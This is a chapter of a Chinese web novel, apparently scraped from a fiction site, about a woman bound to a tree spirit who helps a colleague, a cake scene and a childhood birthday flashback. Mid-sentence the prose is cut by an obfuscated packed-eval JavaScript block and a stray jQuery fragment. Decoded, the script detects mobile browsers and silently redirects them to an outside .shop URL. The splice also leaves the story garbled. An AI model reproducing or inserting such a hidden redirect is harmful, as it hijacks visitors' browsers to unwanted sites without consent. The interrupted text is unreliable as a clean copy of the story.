文趣网 > 其他小说 > 风中传来了树的声音 > 9. 花千层
    “秋里在做双人模式时,大概还想着出院后能和我一起玩吧。怀着这样的心情做出了第四章,最终却事与愿违。”

    “不过,秋里如果知道是你陪着我通关了双人模式,她也会很高兴的吧。毕竟,你是她最喜欢的小姑娘。”

    直到回到“开始游戏”的原点,周飞羽仍然有些恍惚。叶桃音为他倒了杯热水,自己则坐回了办公桌前,静静地等待周飞羽恢复状态。

    周飞羽却没有叶桃音想象的那般消沉,在第三次感受到沙发上有目光假装不经意从自己身上飘过时,她终于忍不住回望了过去,与周飞羽的双眼碰了个正着。

    “周哥,是有什么事吗?”

    偷看被发现,周飞羽竟也跟着松了口气:“那我就直说了,桃音,刚刚那究竟是怎么回事?”

    “啊......”经周飞羽这一提醒,叶桃音这才想起刚刚好像确实发生了些现有科学解释不了的事情,什么灵能vr,果然这种鬼话冷静下来想想是根本不可能相信的。叶桃音下意识看向了木攸春,一般来说,契灵都会拥有抹去记忆的能力吧。

    却见木攸春半靠在沙发上,若不是周飞羽还坐在那里,他恐怕会直接躺平。木攸春刚刚吃了个整饱,此刻肚子溜圆完全动弹不得,只能靠在那里,仰头朝天断断续续地打着饱嗝,横看竖看那身形只写着四个大字——指望不上。

    “我们刚刚......进到游戏里了?那应该不是我的错觉吧......”周飞羽继续问道。

    叶桃音轻叹了口气,索性将事情和盘托出:“其实,我这次回老家的时候,和我们家香樟树的树灵缔结了契约......”

    明明只是几天内发生的事情,大致讲来却也需要一定的时间。其间周飞羽站了起身,思索似地在办公室里来回踱着,最终叶桃音话音落时,他也停下了脚步。

    “你是说,你成为了一位树灵的主人,他就在这里吗?这间办公室里,除了我们两个之外,还有第三人?”周飞羽眉头紧拧。

    叶桃音不由又看向了木攸春,是啊,他就在这里,就是有一点死了。周飞羽顺着叶桃音的目光看了过去,他当然什么也看不见,冥冥之中却好像也感受到了一些,目光顿时复杂了许多。

    “还有,你是说有哭面妖附在了我脸上,所以我最近才会有莫名其妙想哭的冲动,你们刚刚就是帮我除掉了它?”周飞羽又忍不住在办公室里绕起圈来。

    “准确来说,是你自己的想法改变了,哭面妖才可能从你身上脱落,他只是顺便ch......”吃字已经溜到了嘴边,叶桃音决定还是维护一下木攸春的尊严。

    她踌躇片刻换了说法:“嗯,我们已经将哭面妖除掉了,以后你也无需担心。好好生活吧周哥,我想......这也是秋里姐期望的。”

    周飞羽绕圈的脚步逐渐慢了下来,最后定在了叶桃音的办公桌前。叶桃音看着他沉思的模样,突然有些后悔了,果然后半句话还是不应该说的,她哪有权利替两人做出判断?

    周飞羽缓慢地转了过来,叶桃音的心也跟着提了起来。他的眼睛死死盯住叶桃音,眼中突然射出了两道精光!周飞羽猛地上前一步,直接抱住了叶桃音的双肩,口中惊呼:“天才!天才!”

    “你......相信吗?”叶桃音一时没有反应过来,只怔怔地问道。

    周飞羽的又突然松开了手,转身便向办公室外奔去:“桃音,我这两天重写一份剧情再交给你!”

    他刚刚跨过门,好像又想起了什么,扒着门边回身望了过来:“桃音,如果再有类似的事情发生,一定不要忘记告诉我!”

    见叶桃音点了点头,周飞羽这才安心地离开了。灵感来时大概会文思泉涌吧,叶桃音没有料到的是,周一下午周飞羽便拿着一沓手稿进来了,看那黑眼圈之深、脚步之虚浮,应该是整个周末都没怎么好好吃饭睡觉,现在已经燃尽了,只剩下了一具行走的皮囊。

    叶桃音接过手稿的动作一顿,第一张纸上那狂草般的字迹已经是不堪辨认,叶桃音摩挲了一下,最后一张纸的背面亦是凹凸不平,比之第一张有过之而无不及,不难想象其上的混乱程度。

    可看着周飞羽这副憔悴的模样,叶桃音这时无论如何都说不出让他整理成电子文档再交过来这种话,便暂且收了下来。

    叶桃音看了眼时间,下午已经过去了一半,外面渐渐响起的吵闹声音打破了有些滞闷的气氛,想来是温安果又带着下午茶如天使般例行降临了。

    “你先吃点东西,然后回去好好睡一觉吧。这两天辛苦了,这份剧情我慢慢看,你周四来上班时再具体商量。”叶桃音这样对周飞羽说道。

    但即便脑子迟钝如周飞羽,此刻也读懂了刚刚叶桃音脸上一闪而过的为难表情。他锤了锤因缺乏睡眠而发懵的脑袋,不好意思地又将手稿拿了回来:“桃音,我还是趁回去的这两天将它整理成电子文档,之后再发给你吧。”

    周飞羽关上门后,办公室内飘散着的香甜气息淡了许多。是蛋糕吗?像是被吸引了一般,叶桃音不自觉就也跟着走了出去。

    温安果刚给众人分过蛋糕,此刻正捧着一碟切块有些迷茫地站在那里,不知该不该往办公室里送。

    听到背后的脚步声,她下意识转过了身,初看见叶桃音时还有些怔愣,接着便惊喜地叫了起来:“桃音姐!你是出来吃蛋糕的吗?”

    温安果如献宝般将那个切块捧到了叶桃音的面前,叶桃音接了过来点点头:“在屋里闻到香味了,忍不住就走了出来。”

    大概再没有比选品被认可更能让温安果开心的事情了,她笑得眉眼弯弯:“嗯,这个真的超级好吃的哦!啊,对了,叉子,给你!”

    叶桃音端着那碟蛋糕切块回到了办公桌前

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17914577|213282||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,像是不知道如何下口一般,过了很久才拿起叉子,剜下了最边上的一块奶油。

    奶油入口并没有闻起来那么甜,香气倒是更足了,轻轻一抿便化了开来,蕴藏在里面的茉莉花香逐渐弥漫整个口腔,连鼻息仿佛都混进了那乳白色的花瓣。嗯,是茉莉花茶千层呢。

    叶桃音又将叉子竖着断了下去,切块最尖的那角便分离了。她切得并不多,此刻一口吞了,可丽饼皮在嘴中层层叠叠地排列着,薄却又不失韧劲,越嚼其中的蛋香奶香越发浓郁,给茉莉花的清丽又添了层回味。

    吞了哭面妖后一直恹恹地呆在叶桃音体内的木攸春此刻也飘了出来,肚子依旧溜圆,较之周五那日没有任何缩减。

    他原本闭着眼睛,一副不问世事全情消化的模样,这时却鼻翼阖动,显然是闻到了不同寻常的香气。目光瞬间锁定桌面上的小蛋糕后,木攸春转而期期地望向叶桃音:“好吃吗?快给我形容一下!”

    “软的,甜的。”叶桃音不假思索地答道。

    木攸春的视线狐疑地上下扫了扫叶桃音,他突然挺着肚子暴起,张牙舞爪地扑向叶桃音:“喂,这次你只是在敷衍我吧,给我好好回答啊!”

    一位容貌清秀的少年腹部却如保养差劲的中年大叔般向外隆着,再配上他此刻满脸不忿的神情,任谁都会觉得这副场景十分滑稽。

    叶桃音忍不住轻笑了起来,她一边伸手拦住了木攸春,免得他的肚子磕到桌沿,一边又切下一块吃了起来:“嗯,软的,甜的,和那时一样,真的是很好吃,我很喜欢。”

    那时的蛋糕不似现在流行的这般素净,却是小朋友们会喜欢的更加华丽的款式。桃音坐在饭店的圆桌前,垂涎欲滴地望着面前的双层花朵蛋糕。

    “奶奶,我们还要等多久啊,我饿了......”桃音拽了拽旁边坐着的奶奶,水灵的大眼睛忽闪忽闪,看了直教人心疼。

    奶奶原本满面愁容,听到她这么说急忙敛了情绪,安抚似地摸了摸桃音梳得整整齐齐的辫子头,又拽了拽旁边坐着的爷爷:“我说,要不别等了,过了这么久桃音都饿坏了。”

    爷爷显然心中也一片肃然,本就不算和蔼可亲的长相此刻微微板着便更加严厉了,他看着为桃音订下的这个房间。

    因为提前嘱咐过,饭店的工作人员细心地将房间装饰了一番,高处气球和飘带簇拥着的,是一串彩虹旗——祝叶桃音小朋友十二岁生日快乐!

    这个房间的氛围,原本应该如这装饰一般热烈缤纷,但那彩虹旗下,赫然便是四把空着的椅子,衬得房间里十分冷清空荡。

    饭店大概早已备好了菜,只等客人一催,就立刻下锅上桌。服务员来问了两遍,得到两遍“等人到齐”的答复后也不敢再开口了,这时不知去了哪里。

    硕大的圆桌上只孤零零地摆着一个生日蛋糕,在桃音手下滴溜溜地转。